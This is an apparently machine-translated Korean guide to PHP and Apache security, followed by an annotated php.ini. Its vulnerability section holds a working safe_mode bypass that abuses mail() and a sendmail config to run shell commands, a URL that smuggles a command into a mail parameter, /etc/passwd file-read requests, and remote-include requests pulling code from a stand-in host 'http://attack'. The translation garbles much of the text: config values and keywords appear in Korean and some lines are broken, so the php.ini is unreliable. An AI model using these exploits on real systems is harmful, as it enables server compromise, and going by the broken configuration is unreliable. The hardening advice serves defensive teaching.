1. 웹 서버 보안
PHP는 사실 웹 서버의 모듈 기능일 뿐이므로 웹 서버의 보안이 먼저 보장되어야 합니다. 물론, 웹 서버가 안전하기 위해서는 먼저 시스템 보안이 보장되어야 하는데, 이는 요원한 일입니다. PHP는 다양한 웹 서버와 결합될 수 있으며 여기서는 Apache에 대해서만 설명합니다. Apache를 chroot 모드로 설치하고 시작하는 것이 좋습니다. 따라서 Apache, PHP 및 해당 스크립트에 취약점이 있더라도 제한된 시스템만 영향을 받으며 실제 시스템에는 해를 끼치지 않습니다. 그러나 루트가 지정된 Apache를 사용하면 애플리케이션에 특정 문제가 발생할 수도 있습니다. 예를 들어 mysql에 연결할 때 소켓 연결을 위해 localhost 대신 tcp를 사용하여 연결하려면 127.0.0.1 주소를 사용해야 하는데 이는 약간 덜 효율적입니다.
php.ini에서:[mail function]
때문에 이메일을 보내는 메일 기능에도 문제가 있습니다.
; Win32에만 해당됩니다.
SMTP=로컬호스트
; Win32에만 해당됩니다.
sendmail_from [email protected]
은 Win32 플랫폼용이므로 chroot 환경에서 sendmail을 조정해야 합니다.
2. PHP 자체의 문제 네트워크 관리자 u.bitscn@com
1. 원격 오버플로
PHP-4.1.2 이하의 모든 버전에는 파일업로드
원격 버퍼 오버플로 취약점이 있으며 공격 프로그램은 매우 높은 성공률로 널리 유포되었습니다.
원격 서비스 거부
PHP-4.2.0 및 PHP-4.2.1에는 PHP multipart/form-data POST 요청 처리에 대한 원격 취약점이 있지만 로컬 사용자 권한을 얻을 수는 없지만 서비스 거부가 발생할 수도 있습니다.
3. safe_mode 우회 취약점은
PHP-4.2.2 이하부터 PHP-4.0.5까지 존재합니다. PHP 메일 기능은 safe_mode 제한을 우회하고 명령을 실행합니다. 버전 4.0.5부터 메일 기능은 다섯 번째 매개변수를 추가합니다. 설계상 조심하지 않으면 safe_mode의 제한을 뚫고 명령을 실행할 수 있습니다. 버전 4.0.5의 혁신은 매우 간단합니다. 세미콜론으로 구분하고 쉘 명령을 추가하기만 하면 됩니다. 예를 들어, PHP 스크립트 evil.php가 있는 경우
다음 URL을 실행하십시오:
http://foo. com/evil.php?bar =;/usr/bin/id [email protected]
그러면 id 실행 결과가 [email protected] 으로 전송됩니다.
PHP 4.0.6에서 4.2.2까지의 경우 safe_mode 제한을 깨는 것은 실제로 sendmail의 -C 매개변수를 사용하므로 시스템은 sendmail을 사용해야 합니다. 다음 코드는 safe_mode 제한을 깨고 명령을 실행할 수 있습니다.
#Note, 다음 두 가지는 존재하지 않아야 합니다.
또는 해당 소유자가 이 스크립트의 소유자와 동일합니다.
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
희소=0
R$*" . chr(9) . "$#local $@ $:
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("아무도", "", "", "", "-C$cf");
?>
위의 문제가 있는 PHP 버전을 사용하는 사용자는 기본적인 보안 문제를 해결하기 위해 적절한 시기에 최신 버전으로 업그레이드해야 합니다.
3. PHP 자체의 보안 구성은
매우 유연합니다. php.ini, httpd.conf, .htaccess 파일을 통해 설정할 수 있습니다(AllowOverride All 또는 옵션은 이 디렉터리에서 설정해야 함). 스크립트 프로그램에서 ini_set() 및 기타 특정 기능을 사용하여 설정하세요. 구성 옵션의 각 값은 phpinfo() 및 get_cfg_var() 함수를 통해 얻을 수 있습니다.
구성 옵션이 유일한 PHP_INI_SYSTEM 속성인 경우 php.ini 및 httpd.conf를 통해 수정해야 합니다. PHP Master 값을 수정하지만 수정 후 적용하려면 Apache를 다시 시작해야 합니다. php.ini에 설정된 옵션은 웹 서버의 모든 스크립트에 적용되며, httpd.conf에 설정된 옵션은 정의된 디렉터리에 있는 모든 스크립트에 적용됩니다.
다른 PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL 속성 옵션이 있는 경우 .htaccess 파일을 사용하여 설정하거나 스크립트 자체의 ini_set() 함수를 사용하여 설정할 수 있습니다. 로컬 값을 수정하면 변경 사항이 적용됩니다. 즉시 적용됩니다. 그러나 .htaccess는 현재 디렉터리의 스크립트 프로그램에만 적용되며, ini_set() 함수는 스크립트 프로그램에 대해 ini_set() 함수를 설정한 후에만 적용됩니다. 각 버전의 옵션 속성은 다를 수 있습니다. 다음 명령을 사용하여 현재 소스 코드의 main.c 파일을 찾아 모든 옵션과 해당 속성을 얻을 수 있습니다:
# grep PHP_INI_ /PHP_SRC/main/main.c
논의하기 전에 PHP 보안 구성에서는 PHP의 safe_mode 모드를 잘 이해하고 있어야 합니다.
1. safe_mode
safe_mode는 유일한 PHP_INI_SYSTEM 속성이며 php.ini 또는 httpd.conf를 통해 설정해야 합니다. safe_mode를 활성화하려면 php.ini를 수정하세요:
safe_mode = 켜짐
또는 httpd.conf를 수정하고 디렉토리를 정의하십시오:
옵션 FollowSymLinks
php_admin_value safe_mode 1
safe_mode는 아파치를 다시 시작한 후에 적용됩니다. safe_mode를 활성화하면 많은 PHP 기능, 특히 시스템 관련 파일 열기, 명령 실행 및 기타 기능이 제한됩니다.
파일을 작동하는 모든 함수는 스크립트와 동일한 UID를 가진 파일만 작동합니다. 예를 들어, test.php 스크립트의 내용은 다음과 같습니다.
여러 파일의 속성은 다음과 같습니다.
# ls -la
총 13개
drwxr-xr-x 2 루트 루트 104 7월 20일 01:25 .
drwxr-xr-x 16 루트 루트 384 7월 18일 12:02 ..
-rw-r--r-- 1 루트 루트 4110 2002년 10월 26일 index.html
-rw-r--r-- 1 www-data www-data 41 7월 19일 19:14 test.php
브라우저에서 test.php를 요청하면 다음 오류 메시지가 표시됩니다.
경고: 안전 모드 제한이 적용 중입니다. uid/gid가 33/33인 스크립트는 uid/gid 0/0이 소유한 ./index.html에 액세스할 수 없습니다. 1행의 /var/www/test.php에서
조작된 파일이 위치한 디렉터리의 UID가 스크립트의 UID와 일치하면 스크립트와 다르더라도 파일의 UID에 접근할 수 있는 것인지, 아니면 PHP의 취약점인지 궁금합니다. 또 다른 숨겨진 이유가 있습니다. 따라서 php 스크립트의 소유자인 사용자는 이 목적으로만 사용하는 것이 가장 좋습니다. php 스크립트의 소유자로 루트를 사용하는 것은 절대 금지되어 있습니다. 이렇게 하면 safe_mode의 효과를 얻을 수 없습니다.
GID 비교로 완화하려면 safe_mode_gid를 켜서 파일의 GID만 비교하는 것을 고려할 수 있습니다.
safe_mode_gid = On으로
설정하면 실행되는 모든 명령이 해당 기능으로만 제한됩니다. php.ini의 safe_mode_exec_dir에 지정되어 있으며, shell_exec 및 `ls -l`은 명령 실행이 금지됩니다. 정말로 다른 프로그램을 호출해야 하는 경우 php.ini에서 다음 설정을 지정할 수 있습니다:
safe_mode_exec_dir = /usr/local/php/exec
그런 다음 프로그램을 이 디렉토리에 복사하면 php 스크립트는 시스템 및 기타 기능을 사용하여 프로그램을 실행합니다. 게다가 이 디렉토리의 쉘 스크립트는 여전히 다른 디렉토리의 시스템 명령을 호출할 수 있습니다.
safe_mode_include_dir string
이 디렉터리 및 해당 하위 디렉터리의 파일을 포함할 때 UID/GID 검사를 재정의합니다(디렉토리는 include_path에 있거나 전체 경로와 함께 포함되어야 함).
PHP 4.2.0부터 이 지시문은 단순한 디렉토리가 아닌 include_path 지시문과 유사한 스타일로 세미콜론으로 구분된 경로를 허용할 수 있습니다.
지정된 제한은 실제로 디렉터리 이름이 아닌 접두사입니다. 이는 "safe_mode_include_dir = /dir/incl"이 "/dir/include" 및 "/dir/incls"가 존재하는 경우 이에 대한 액세스를 허용한다는 것을 의미합니다. 특정 디렉터리에 대한 액세스를 제한하려면 뒤에 슬래시를 추가하세요(예: "safe_mode_include_dir = /dir/incl/").
safe_mode_allowed_env_vars string
특정 환경 변수를 설정하면 잠재적인 보안 허점이 있을 수 있습니다. 이 지시문에는 쉼표로 구분된 접두사 목록이 포함되어 있습니다. 안전 모드에서 사용자는 이름에 여기에 제공된 접두사가 포함된 환경 변수만 변경할 수 있습니다. 기본적으로 사용자는 PHP_로 시작하는 환경 변수만 설정할 수 있습니다(예: PHP_FOO = BAR).
참고: 이 지시문이 비어 있으면 PHP는 사용자가 환경 변수를 수정할 수 있도록 허용합니다!
safe_mode_protected_env_vars string
이 지시어에는 최종 사용자가 putenv()를 사용하여 변경할 수 없는 쉼표로 구분된 환경 변수 목록이 포함되어 있습니다. safe_mode_allowed_env_vars에 수정 허용이 설정되어 있어도 이러한 변수는 변경할 수 없습니다.
safe_mode가 만병통치약은 아니지만(낮은 버전의 PHP는 우회 가능) 안전 모드를 켜는 것이 좋습니다. 이렇게 하면 알려지지 않은 공격을 어느 정도 피할 수 있습니다. 그러나 safe_mode를 활성화하면 애플리케이션에 영향을 미칠 수 있는 많은 제한 사항이 있으므로 조화를 이루도록 코드와 구성을 조정해야 합니다. 안전모드에 의해 제한되거나 차단된 기능은 PHP 매뉴얼을 참고하세요.
safe_mode에 대해 논의한 후, 프로그램 코드에서 발생할 수 있는 실제 문제를 기반으로 PHP 서버 구성을 통해 취약점을 방지하는 방법에 대해 논의해 보겠습니다.
2. 변수 남용
PHP는 기본적으로 Register_globals = On으로 설정되어 있습니다. GET, POST, Cookie, Environment, Session에 대한 변수는 전역 변수로 직접 등록할 수 있습니다. 등록 순서는 Variable_order = "EGPCS"입니다(php.ini를 통해 수정 가능). 동일한 이름을 가진 Variable_order의 오른쪽이 왼쪽을 덮으므로 변수의 남용으로 인해 프로그램이 쉽게 혼동될 수 있습니다. 게다가 스크립트 프로그래머는 변수를 초기화하는 습관이 없는 경우가 많습니다. 다음과 같은 프로그램 조각은 공격에 매우 취약합니다.
//test_1.php
if ($pass == "안녕하세요")
$auth = 1;
if ($auth == 1)
echo "중요한 정보";
또 다른
에코 "아무것도";
?>
공격자는 다음 요청을 사용하여 간단히 검사를 우회할 수 있습니다.
http://victim/test_1.php?auth=1
이는 매우 약한 실수이지만 일부 유명한 프로그램에서도 이러한 실수가 발생했습니다. 예를 들어 phpnuke의 원격 프로그램입니다. 파일 복사 취약점: http://www.securityfocus.com/bid/3361
PHP-4.1.0이 출시되었을 때, 다양한 변수를 사용할 수 있도록 Register_globals를 끄고 7개의 특수 배열 변수를 제공하는 것이 권장되었습니다. GET, POST, COOKIE 등의 변수는 직접 변수로 등록되지 않으며 배열변수를 통해 접근해야 합니다. PHP-4.2.0이 출시되었을 때 php.ini의 기본 구성은 Register_globals = Off였습니다. 이를 통해 프로그램은 PHP 자체에 의해 초기화된 기본값(보통 0)을 사용할 수 있어 공격자가 판단 변수를 제어하는 것을 방지할 수 있습니다.
해결책:
구성 파일 php.ini에서 Register_globals = Off를 설정하십시오.
프로그래머는 프로그램 시작 시 판단 변수의 값을 초기화해야 합니다.
3. 이 파일은
매우 취약한 코드 조각을 엽니다:
//test_2.php
if (!($str = readfile("$filename"))) {
echo("파일을 열 수 없습니다: $filename
N");
출구;
}
또 다른 {
에코 $str;
}
?>
공격자는 임의의 $filename을 지정할 수 있으므로 공격자는 다음 요청으로 /etc/passwd를 볼 수 있습니다:
http://victim/test_2.php?filename=/etc/passwd
다음 요청은 PHP 파일 자체를 읽을 수 있습니다.
http://victim/test_2.php?filename=test_2.php
PHP의 파일 열기 기능에는 fopen(), file() 등이 있습니다. 파일 이름 변수를 엄격하게 확인하지 않으면 서버에 있는 중요한 파일에 액세스하게 됩니다. 그리고 읽어보세요.
해결 방법:
달리 필요한 경우가 아니면 PHP 파일 작업을 웹 디렉터리로 제한하십시오. 다음은 Apache 구성 파일 httpd.conf를 수정하는 예입니다.
php_admin_value open_basedir /usr/local/apache/htdocs
Apache를 다시 시작한 후 /usr/local/apache/htdocs 디렉토리의 PHP 스크립트는 자체 디렉토리에 있는 파일만 작동할 수 있습니다. 그렇지 않으면 PHP는 다음 오류를 보고합니다.
경고: open_basedir 제한이 적용되었습니다.
파일이 xxx 온라인에서 잘못된 디렉토리에 있습니다
.xx.
safe_mode 모드를 사용하면 앞에서 설명한 이 문제를 피할 수도 있습니다.
4.
매우 취약한 코드 조각이 포함된 파일이 포함되어 있습니다:
//test_3.php
if(파일_존재($filename))
include("$파일명");
?>
이런 종류의 무책임한 코드는 상당한 피해를 입힐 수 있습니다. 공격자는 다음 요청을 사용하여 /etc/passwd 파일을 얻을 수 있습니다:
http://victim/test_3.php?filename=/etc/passwd
PHP의 Unix 버전( PHP의 Win 버전은 원격 파일 열기를 지원하지 않습니다. 공격자는 http 또는 ftp 서비스를 연 시스템에서 셸 명령이 포함된 파일을 생성할 수 있습니다. 예를 들어 http://attack/attack.txt 의 내용입니다. 다음 요청은 대상 호스트에서 ls /etc 명령을 실행할 수 있습니다:
http://victim/test_3.php?filename=http://attack/attack.txt
공격자는 access.log 및 Apache가 포함된 error.log 로그 파일에 명령을 실행하는 코드를 가져오지만 간섭 정보가 너무 많아 성공하기 쉽지 않은 경우도 있습니다.
다른 형식의 경우 다음 코드 조각:
//test_4.php
include("$lib/config.php");
?>
공격자는 자신의 호스트에서 명령 실행 코드가 포함된 config.php 파일을 생성한 후 다음 요청을 사용하여 대상 호스트에서 명령을 실행할 수 있습니다:
http://victim/test_4.php?lib=http://attack
PHP 포함 함수에는 include(), include_once(), require(), require_once가 포함됩니다. 파일 이름이 포함된 변수를 엄격하게 검사하지 않으면 시스템에 심각한 위험을 초래할 수 있으며 원격으로 명령이 실행될 수 있습니다.
해결책:
프로그래머는 파일에 매개변수를 포함할 때 변수를 사용하지 않도록 노력해야 합니다. 변수를 사용할 경우 포함할 파일 이름을 엄격하게 확인해야 하며 사용자가 임의로 지정해서는 안 됩니다.
예를 들어 이전 파일 열기에서 PHP 작업 경로를 제한하는 것은 필수 옵션입니다. 또한, 특별히 필요한 경우가 아니면 반드시 PHP의 원격 파일 열기 기능을 꺼두시기 바랍니다. php.ini 파일을 수정하세요:
allow_url_fopen = Off
아파치를 다시 시작하세요
[PHP]
; PHP는 여전히 발전하는 도구이며 해당 기능은 지속적으로 제거되고 있습니다.
; 그리고 php.ini의 설정 변경은 상당한 변경 사항을 반영할 수 있습니다.
; 새로운 PHP 버전을 사용하기 전에 php.ini를 공부하는 것이 좋습니다.
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
;이 문서에 대하여;
;;;;;;;;;;;;;;;;;
이 파일은 PHP 보기의 여러 측면을 제어합니다. PHP가 이 파일을 읽으려면 이름을 지정해야 합니다.
; 'php.ini'.PHP는 다음 위치에서 파일을 검색합니다: 현재 작업 디렉토리 환경 변수 PHPRC;
; 지정된 경로. 컴파일할 때 지정된 경로입니다.
; Windows에서는 컴파일 시 경로가 Windows 설치 디렉터리입니다.
; 명령줄 모드에서 php.ini의 검색 경로는 -c 매개변수로 대체될 수 있습니다.
; 이 파일의 구문은 매우 간단합니다. 세미콜론으로 시작하는 줄은 무시됩니다.
; 추측한 것과 동일) 장 제목(예: [Foo])도 무시됩니다.
;의미가 있습니다.
;
; 지시문은 다음 구문을 사용하여 지정됩니다.
; 표시 식별자 = 값
; 지시문 = 값
; 식별자가 *대소문자를 구분*함을 나타냅니다. foo=bar는 FOO = bar와 다릅니다.
;
; 값은 문자열, 숫자, PHP 상수(예: E_ALL 또는 M_PI), INI 상수일 수 있습니다.
; A(켜기, 끄기, 참, 거짓, 예, 아니요 및 없음) 또는 표현식
;(예: E_ALL & ~E_NOTICE) 또는 인용된 문자열("foo").
;
; INI 파일의 표현식은 비트 연산자와 괄호로 제한됩니다.
; | 비트별 OR
; & 비트 AND
; ~ 비트별 NOT
; 부울
;
; 부울 플래그는 1, On, True 또는 Yes 값으로 켤 수 있습니다.
; 0, Off, False 또는 No 값으로 꺼짐으로 설정할 수 있습니다.
;
; 빈 문자열은 등호 뒤에 아무것도 쓰지 않거나 None 키워드를 사용하여 나타낼 수 있습니다.
;
; foo = ; foo를 빈 문자열로 설정
; foo = 없음 ; foo를 빈 문자열로 설정합니다.
; foo = "none" ; foo를 'none' 문자열로 설정합니다.
;
; 값 설정에서 상수를 사용하고 이 상수는 동적으로 로드된 확장 라이브러리(PHP 확장이 아님, 즉
; Zend 확장), 이러한 확장을 호출하는 행 *뒤에* 이러한 상수만 사용할 수 있습니다.
;
; php.ini-dist 파일에 설정된 모든 값은 내장된 기본값과 동일합니다(즉, php.ini의 경우).
;은 사용되지 않거나 이 줄을 삭제한 경우 기본값은 동일합니다
.
;언어 옵션;
;;;;;;;;;;;;;;;;;
엔진 = 켜짐
; Apache에서 PHP 스크립팅 언어 엔진을 사용할 수 있도록 합니다.
short_open_tag=켜짐
; <? 태그(이 간단한 표현)를 허용합니다. <?php 및 <script> 태그만 인식됩니다.
asp_tags = 끄기
; ASP 스타일 <% %> 태그 허용
정밀도=14
; 부동 소수점 형식 숫자 표시 시 유효 자릿수
y2k_compliance = Off
; Y2K 적응을 켤지 여부(Y2K 비적응 브라우저에서는 문제가 발생할 수 있음)
output_buffering = Off
; 출력 캐싱을 사용하면 본문 내용을 출력한 후에도 헤더(쿠키 포함) 줄을 보낼 수 있습니다.
; 출력 레이어의 속도가 약간 느려지는 데 따른 비용이 발생합니다. 출력 캐싱을 사용하여 런타임에 출력 캐싱을 켤 수 있습니다.
; 또는 모든 파일에 대한 출력 캐싱을 활성화하려면 여기에서 On 지시어를 켜십시오.
output_handler = ; 스크립트의 모든 출력을 함수로 리디렉션할 수 있습니다.
; 이를 처리하거나 기록하는 데 유용할 수 있습니다.
; 예를 들어, 이 output_handler를 "ob_gzhandler"로 설정하면,
; 출력은 gzip 또는 deflate 인코딩을 지원하는 브라우저에 대해 투명하게 압축됩니다.
; 출력 버퍼링을 자동으로 열도록 출력 프로세서를 설정합니다.
implicit_flush = 끄기
; 각 출력 블록 이후에 자체 데이터를 자동으로 새로 고치도록 출력 레이어에 지시하도록 PHP에 강제 플러시합니다.
; 이는 모든 print() 또는 echo() 호출 이후 및 모든 HTML 블록 이후에 플러시() 함수를 호출하는 것과 동일합니다.
디버깅
중에만 켜는 것이 좋습니다.
; 함수 호출을 강제로 참조로 매개변수로 전달할지 여부.
; 향후 버전의 PHP/Zend에서는 더 이상 지원되지 않을 수 있습니다.
; 함수 선언에서 참조로 전달되는 매개변수를 지정하는 것이 좋습니다.
; 향후 버전의 언어를 보장하려면 이 옵션을 끄고 스크립트가 여전히 제대로 작동하는지 확인하는 것이 좋습니다.
; 이 기능은 계속 작동합니다. (이 기능을 사용할 때마다 경고가 표시되며 매개변수는 참조가 아닌 값으로 표시됩니다.
; 안전
모드 안전 모드
safe_mode = 꺼짐
safe_mode_exec_dir =
safe_mode_allowed_env_vars = PHP_
; 특정 환경 변수 설정
; 잠재적인 보안 위반이 될 수 있습니다.
; 이 지시문에는 쉼표로 구분된 접두사 목록이 포함되어 있습니다. 안전 모드에서 사용자는
여기에 나열된 접두사로 시작하는 환경 변수의 값만 바꿀 수 있습니다.
; 기본적으로 사용자는 PHP_로 시작하는 환경 변수만 설정할 수 있습니다(예: PHP_FOO=BAR).
; 참고: 이 지시문이 비어 있으면 PHP는 사용자가
safe_mode_protected_env_vars = LD_LIBRARY_PATH를
변경할 수 있도록 합니다!
; 이 지시문에는 최종 사용자가 putenv()를 사용하여 변경할 수 없는 쉼표로 구분된 환경 변수 목록이 포함되어 있습니다.
allowed_functions
로 설정된 경우에도 보호됩니다.
; 이 지시문을 사용하면 보안상의 이유로 특정 기능을 비활성화할 수 있습니다.
; 쉼표로 구분된 함수 이름 목록을 허용합니다.
; 이 명령어는 안전 모드가 켜져 있는지 여부에 영향을 받지 않습니다.
;
???
>로 허용되는 모든 것이 작동합니다.
하이라이트.코멘트 = #FF8000
하이라이트.키워드 = #007700
하이라이트.bg = #FFFFFF
하이라이트.기본값 = #0000BB
하이라이트.html = #000000
기타
노출_php = 끄기
; PHP가 서버에 설치되어 있다는 사실을 표시해야 하는지 여부를 결정합니다(예: PHP를 웹 서비스에 추가).
; 전송된 신호에 따라)
; (내 개인적인 의견은 power-by 헤더가 나타나면 이 기능을 끄는 것입니다.)
; 보안 위협은 없지만 서버에 PHP가 설치되어 있는지 확인할 수 있습니다.
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
; 자원 제한
;;;;;;;;;;;;;;;;
max_execution_time = 30 ; 각 스크립트의 최대 실행 시간(초)
memory_limit = 8388608; 스크립트에서 사용할 수 있는 최대 메모리 양(여기서는 8MB)
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
; 오류 처리 및 로깅 ;
; 오류 제어 및 등록;
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
; 오류 보고는 비트 단위입니다. 또는 원하는 오류 보고 수준을 얻으려면 숫자를 추가하세요.
; E_ALL - 모든 오류 및 경고
; E_ERROR - 치명적인 런타임 오류
; E_WARNING - 런타임 경고(치명적이지 않은 오류)
; E_PARSE - 컴파일 타임 구문 분석 오류
; E_NOTICE - 런타임 알림(이러한 알림은 종종 코드의 버그로 인해 발생합니다.
; 의도적인 동작으로 인해 발생할 수도 있습니다(예: 초기화되지 않은 변수
가 자동으로 빈 문자열로 초기화된다는 사실을
기반으로; E_CORE_ERROR - PHP 시작 시 발생하는 치명적인 오류
).
; E_CORE_WARNING - PHP가 시작될 때 초기화 프로세스 중에 발생하는 경고(치명적이지 않은 오류)
; E_COMPILE_ERROR - 치명적인 컴파일 시간 오류
; E_COMPILE_WARNING - 컴파일 시간 경고(치명적이지 않은 오류)
; E_USER_ERROR - 사용자가 생성한 오류 메시지
; E_USER_WARNING - 사용자가 생성한 경고 메시지
; E_USER_NOTICE - 사용자가 생성한 알림 메시지
; 예:
; error_reporting = E_ALL & ~E_NOTICE 알림을 제외한 모든 오류 표시 ;
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR 오류만 표시 ;
error_reporting = E_ALL & ~E_NOTICE 알림을 제외한 모든 오류 표시;
display_errors = On ; 오류 메시지 표시(출력의 일부로)
; 최종 게시된 웹사이트에서는 이 기능을 끄고 사용하는 것이 좋습니다.
; 오류 로그 대신(아래 참조)
; 최종 게시된 웹사이트에서는 계속해서 display_errors를 활성화할 수 있습니다.
; 웹 서비스의 파일 경로와 같은 일부 보안 관련 정보를 노출합니다.
; 데이터베이스 구성 또는 기타 정보.
display_startup_errors = Off display_erroes가 켜져 있어도 PHP 시작 단계에서 발생합니다.
; 오류는 표시되지 않습니다.
; display_startup_errors를 꺼두는 것이 좋습니다.
; 오류 수정 과정 중에는 제외됩니다.
log_errors = Off ; 로그 파일에 오류를 기록합니다(서버별 로그, stderr 표준 오류 출력 또는 error_log(아래)).
; 위에서 설명한 대로 최종 게시된 웹사이트에 오류를 기록하는 것이 좋습니다.
; 직접 오류 출력을 대체합니다.
track_errors = Off ; 변수 $php_errormsg에 최신 오류/경고 메시지를 저장합니다.
;error_prepend_string = "<font color=ff0000>" 오류 메시지 이전의 문자열 출력
;error_append_string = "</font>" ; 오류 메시지 뒤의 문자열 출력
;error_log = 파일명 ; 지정된 파일에 오류 로그를 기록합니다.
;error_log = syslog ; 시스템 로그 syslog에 오류 로그를 기록합니다(NT에서는 이벤트 로그, Windows 95에서는 유효하지 않음).
warning_plus_overloading = Off ; 문자열에 '+'를 사용할 때 경고합니다.
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
; 데이터 처리 ;
;;;;;;;;;;;;; Variable_order = "EGPCS" ; 이 지시문은 PHP 레코드를 설명합니다.
; GET, POST, 쿠키, 환경 및 내장 변수의 순서입니다.
(G, P, C, E & S로 표시되며 일반적으로 EGPCS 또는 GPC로 참조됨)
; 왼쪽에서 오른쪽으로 기록하며, 기존 값을 대체합니다.
Register_globals = On ;
; 사용자 데이터가 전체적으로 복잡해지는 것을 원하지 않으면 이 기능을 끄고 싶을 수도 있습니다.
; 이것은 track_vars와 함께 사용하는 것이 더 적합합니다. 이 방법으로 전달할 수 있습니다.
; $HTTP_*_VARS[] 배열은 모든 GPC 변수에 액세스합니다.register_argc_argv
= On 이 지시어는 PHP에 argv 및 argc 변수를 선언할지 여부를 알려줍니다.
; (참고: 여기서 argv는 배열이고 argc는 변수 수입니다)
;(GET 메소드를 사용하여 전달된 데이터 포함)
; 이러한 변수를 사용하지 않으려면 성능 향상을 위해 꺼야 합니다.
track_vars = On ; $HTTP_*_VARS[] 배열을 유효하게 만드세요. 여기서는 *를 사용합니다.
; ENV, POST, GET, COOKIE 또는 SERVER 교체
post_max_size = 8M ; PHP가 허용하는 POST 데이터의 최대 크기입니다.
gpc_order = "GPC" ; 이 지시어는 더 이상 사용되지 않습니다. 대신에 Variable_order를 사용하십시오
.
Magic_quotes_gpc = On ; 입력 GET/POST/쿠키 데이터에 매직 따옴표를 사용합니다.
; (원문은 이렇습니다. 하하, 소위 마술 인용문은 '....와 같은 참조 제어 문자를 추가하기 위해 이스케이프 문자를 사용하는 것을 참조해야 합니다.)
Magic_quotes_runtime= Off 런타임 시 생성된 데이터에 매직 따옴표를 사용합니다.
; 예: SQL 쿼리로 얻은 데이터, exec() 함수로 얻은 데이터 등
Magic_quotes_sybase = Off ; Sybase 스타일 매직 따옴표 사용('' 대신 '추출' 사용)
; PHP 문서 앞뒤에 자동으로 파일 추가
auto_prepend_file=
auto_append_file =
; 4.04b4와 마찬가지로 PHP는 기본적으로 항상 "Content-type:" 헤더에 있는 문자 인코딩을 출력합니다.
; 비어 있는 경우 출력 문자 세트를 비활성화합니다.
; PHP의 내장 기본값은 text/html입니다.
default_mimetype = "텍스트/html"
;default_charset = "iso-8859-1"
;;;;;;;;;;;;;;;;;
; 경로 및 디렉토리
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
include_path = ; 경로 설정 포함, UNIX: "/path1:/path2" Windows: "path1;path2"
doc_root = ; PHP 페이지의 루트 경로, 비어 있지 않은 경우에만 유효합니다.
user_dir = ; /~username을 사용하여 스크립트를 열 때 찾을 디렉토리를 PHP에 알려줍니다.
;upload_tmp_dir = ; HTTP 프로토콜을 사용하여 업로드된 파일을 저장하는 임시 디렉터리(지정되지 않은 경우 시스템 기본값 사용)
upload_max_filesize = 2097152 ; 파일 업로드는 기본적으로 2MB로 제한됩니다.
Extension_dir = c:php ; 로드 가능한 확장 라이브러리(모듈)가 저장되는 디렉토리
활성화_dl = On ; dl() 활성화 여부.
; dl() 함수는 다중 스레드 서버에서 *잘 작동하지 않습니다*.
; IIS 또는 Zeus와 같은 기능은 기본적으로 비활성화되어 있습니다.
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
; 파일 업로드
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
file_uploads = HTTP 파일 업로드 허용 여부
;upload_tmp_dir = ; HTTP를 통해 업로드된 파일의 임시 디렉터리(지정하지 않으면 시스템 기본값이 사용됨)
upload_max_filesize = 2M; 업로드된 파일의 최대 허용 크기
;
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
Allow_url_fopen = On ; URL을 http:..로 처리할지 아니면 ftp:...로 파일을 처리할지 여부
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
;동적 확장;
; 동적 확장 ;
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
; 확장 라이브러리를 자동으로 로드하려면 다음 구문을 사용하십시오.
; 확장자=모듈이름.확장자
; 예를 들어, Windows에서는
; 확장자=msql.dll
; 또는 UNIX에서는
; 확장자=msql.so
; 이것은 단지 모듈의 이름이어야 하며, 디렉토리 정보를 넣을 필요가 없다는 점에 유의하십시오.
; 위의 Extension_dir을 사용하여 지정된 확장 라이브러리의 위치를 나타냅니다.
;윈도우 확장
;확장자=php_nsmail.dll
확장자=php_calendar.dll
;확장자=php_dbase.dll
;확장자=php_filepro.dll
확장자=php_gd.dll
;확장자=php_dbm.dll
;확장자=php_mssql.dll
;확장자=php_zlib.dll
;확장자=php_filepro.dll
;확장자=php_imap4r2.dll
;확장자=php_ldap.dll
;확장자=php_crypt.dll
;확장자=php_msql2.dll
;확장자=php_odbc.dll
; 이제 MySQL 지원이 내장되었으므로 해당 dll을 사용할 필요가 없습니다
.
; 모듈 설정;
; 모듈 설정 ;
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
[시스로그]
Define_syslog_variables = Off 다양한 시스템 로그 변수 정의 여부;
; 예: $LOG_PID, $LOG_CRON 등
; 끄는 것이 효율성을 높이는 데 좋습니다.
; 런타임에 이러한 변수를 정의하기 위해 Define_syslog_variables() 함수를 호출할 수 있습니다.
[mail 함수]
SMTP = localhost ; win32 시스템에만 해당
sendmail_from [email protected] win32 시스템에만 해당
;sendmail_path = ;unix에서만 매개변수도 지원합니다(기본값은 'sendmail -t -i'입니다)
[디버거]
debugger.host = 로컬호스트
debugger.port = 7869
debugger.enabled = False
[로깅]
; 이러한 구성은 예제에 사용된 로깅 메커니즘을 나타냅니다.
; 자세한 설명은 예제/README.logging을 참조하세요.
;logging.method = db
;logging.directory = /path/to/log/디렉토리
[Java]
;java.class.path = .php_java.jar
;java.home = c:jdk
;java.library = c:jdkjrebinhotspotjvm.dll
;java.library.path = .
[SQL]
